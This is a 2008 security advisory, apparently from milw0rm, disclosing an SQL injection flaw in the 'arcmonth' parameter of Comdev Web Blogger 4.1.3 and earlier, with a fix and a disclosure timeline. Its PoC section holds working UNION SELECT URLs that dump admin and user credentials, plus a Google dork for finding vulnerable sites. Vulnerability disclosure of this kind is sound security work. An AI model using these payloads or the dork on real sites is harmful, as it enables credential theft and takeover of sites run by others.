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4.3 KiB
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102 lines
No EOL
4.3 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/
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.OR.ID
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ECHO_ADV_100$2008
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-----------------------------------------------------------------------------------------
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[ECHO_ADV_100$2008] Comdev Web Blogger <= 4.1.3 (arcmonth) Sql Injection Vulnerability
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-----------------------------------------------------------------------------------------
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Author : M.Hasran Addahroni
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Date : July, 14 th 2008
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Location : Jakarta, Indonesia
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Web : http://e-rdc.org/v1/news.php?readmore=102
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Critical Lvl : Medium
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : Comdev Web Blogger
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version : <= 4.1.3
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Vendor : http://www.comdevweb.com/blogger.php
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Description :
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Comdev Web Blogger is your voice and also allows others to give you feedback on a post-by-post basis.
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Site members can now create, manage, upload photos to their own blogs.FEATURES: Non Template-Based Gives You Flexibility to Fit
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the Web Blogger to Your Web Design Page • Multiple user accounts to create & invite friends to their own blogs • Hot Blogs,
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Latest Blogs • RSS News Feeds • Blogs Categorisation • Hot Blogs & Latest Blogs • Search Blogs • Mini Calendar • Monthly Archive•
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Links to Friends' Blog • Public or Friends View Only Blogs • Set Post Comments Permission • Friends Login • Forms Submission with
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CAPTCHA Image Verification • WYSIWYG Editor for Blog & Comment • Notify Friends of New Blog • Set View & Post Comment Permissions •
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sSet Date & Time Format • Local Time Zone • Pre-defined Front-end CSS • Personalized Emails & Auto-Responders •
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Installation Support available
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~
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Input passed to the "arcmonth" parameter in blog's page is not properly verified before being used
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in an sql query.
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This can be exploited thru the browser to manipulate SQL queries and pull the username and password
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from admin and users in plain text. Successful exploitation requires that "magic_quotes" is off.
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Poc/Exploit:
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~~~~~~~~~
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http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-1%20union%20select%201,concat(username,0x3a,password),3,4,5,6%20from%20sys_user--
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http://www.example.com/[path]/[blog_page_name].php?domain=&arcyear=2007&arcmonth=-11%20union%20select%201,username,3,password,5,6%20from%20sys_user/*
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Admin Login at http://www.example.com/[PATH]/oneadmin/
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Dork:
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~~~~
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Google : "Powered by Comdev Web Blogger" or allinurl:".php?domain= arcyear=2007 arcmonth"
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Solution:
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~~~~~~
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- Edit the source code to ensure that input is properly verified.
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- Turn on magic_quotes in php.ini
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Timeline:
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~~~~~~~~
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- 11 - 07 - 2008 bug found
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- 11 - 07 - 2008 vendor contacted
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- 14 - 07 - 2008 advisory released
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---------------------------------------------------------------------------
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Shoutz:
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~~~~
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~ ping - my dearest wife "happy birthday darling", zautha - my beloved son
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~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative,
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the_hydra,neng chika, str0ke
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~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
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~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,
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super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
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~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R,
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kuntua, stev_manado,nofry,k1tk4t,0pt1c
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~ newbie_hacker@yahoogroups.com
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~ #aikmel #e-c-h-o @irc.dal.net
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---------------------------------------------------------------------------
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Contact:
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~~~~~
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K-159 || echo|staff || eufrato[at]gmail[dot]com
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Homepage: http://www.e-rdc.org/
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-------------------------------- [ EOF ] ----------------------------------
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# milw0rm.com [2008-07-15] |